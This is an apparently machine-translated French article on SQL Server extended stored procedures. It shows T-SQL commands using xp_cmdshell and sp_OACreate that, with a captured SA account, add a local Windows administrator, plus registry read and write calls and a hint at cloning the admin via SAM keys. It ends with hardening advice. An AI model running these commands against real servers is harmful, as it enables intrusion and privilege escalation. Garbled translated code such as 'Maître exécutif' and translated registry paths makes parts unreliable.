Les procédures stockées sont un ensemble d’instructions SQL pré-écrites stockées dans SQLServer, parmi lesquelles les procédures stockées étendues les plus dangereuses sont xp_cmdshell, qui peut exécuter n’importe quelle instruction du système d’exploitation, et SA est le compte administrateur de Microsoft SQLServer, avec les privilèges les plus élevés, elle peut exécuter des procédures stockées étendues et obtenir des valeurs de retour, telles que l’exécution :
Maître exécutif... xp_cmdshell 'test utilisateur net 1234 /add' et maître exécutif : xp_cmdshell « net localgroup administrators test /add »
De cette manière, un utilisateur nommé test, le mot de passe 1234 et des privilèges administrateur sont ajoutés au système de l’autre partie, comme montré à la Figure 1.
Vous devez maintenant comprendre pourquoi vous obtenez le mot de passe SA et bénéficiez des plus grands privilèges du système. Souvent, de nombreux administrateurs réseau ignorent cette situation et possèdent quelques mots de passe simples comme 1234 et 4321 pour leurs utilisateurs SA, ou même ne définissent aucun mot de passe, afin que les intrus réseau puissent facilement scanner le mot de passe SA avec des outils de piratage puis contrôler l’ordinateur.
En plus de xp_cmdshell, il existe aussi des procédures stockées qui peuvent être exploitées par les intrus :
1. xp_regread (cette procédure stockée étendue peut lire la valeur spécifiée dans la clé spécifiée dans le registre), comment l’utiliser (obtenir le nom de la machine) :
DÉCLARER@testvarchar(50) Maître exécutif... xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\nomordinateur\nomordinateur', @value_name='nomordinateur', @value=@test SÉLECTION DE SORTIE @test
2. xp_regwrite (cette procédure stockée étendue peut écrire la valeur spécifiée dans la clé spécifiée dans le registre), et comment l’utiliser (écrire bbb dans la clé HKEY_LOCAL_MACHINE\LOGICIEL\aaa\aaaValue) :
Maître exécutif... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='LOGICIEL\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Si l’utilisateur administrateur de l’ordinateur compromis peut parcourir les informations HKEY_LOCAL_MACHINE\SAM\SAM\ dans le registre, alors les deux procédures stockées xp_regread et xp_regwrite peuvent être utilisées pour cloner l’utilisateur administrateur et obtenir les privilèges administrateur. xp_regdeletekey. xp_regdeletevalue apportera également des risques de sécurité au système. 3. Une série de procédures de stockage liées à l’OLE, cette série de procédures de stockage ont sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, utilisation :
DÉCLARE @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c :\WINNT\system32\cmd.exe /c net user test 1234 /add'--
De cette façon, l’autre système ajoute un utilisateur nommé test et un utilisateur avec un mot de passe 1234, puis exécute :
DÉCLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c :\WINNT\system32\cmd.exe /c NET localgroup administrators test /add '--
Test utilisateur, ajouté au groupe Administrateurs. Solution : Donner à SA un mot de passe suffisamment complexe pour rendre difficile le déchiffrement des cyber-attaquants. Pour des raisons de sécurité, nous devons également utiliser des procédures stockées dans SQLS sp_addextendedproc sp_dropextendedproc l’analyseur de requêtes d’Erver sp_dropextendedproc supprimer des procédures stockées telles que xp_cmdshell, puis utiliser sp_addextendedproc récupération lorsque cela est nécessaire. Il convient de noter que supprimer des procédures stockées liées à OLE peut rendre certaines fonctions dans Enterprise Manager inutilisables, et l’auteur ne recommande pas de les supprimer ici.
Maintenant que nous savons comment utiliser SP_OACREATE, nous pouvons aller sur \WINNT \system32 pour trouver les cmd.exe, net.exe et net1.exe trois fichiers, et supprimer tous les utilisateurs qui peuvent y accéder dans les « Propriétés » - « Sécurité », afin que nous ne puissions pas utiliser SP_OACREATE pour augmenter le nombre d’utilisateurs système, et nous pourrons ajouter des utilisateurs d’accès lorsque nous devons accéder à ces fichiers.
|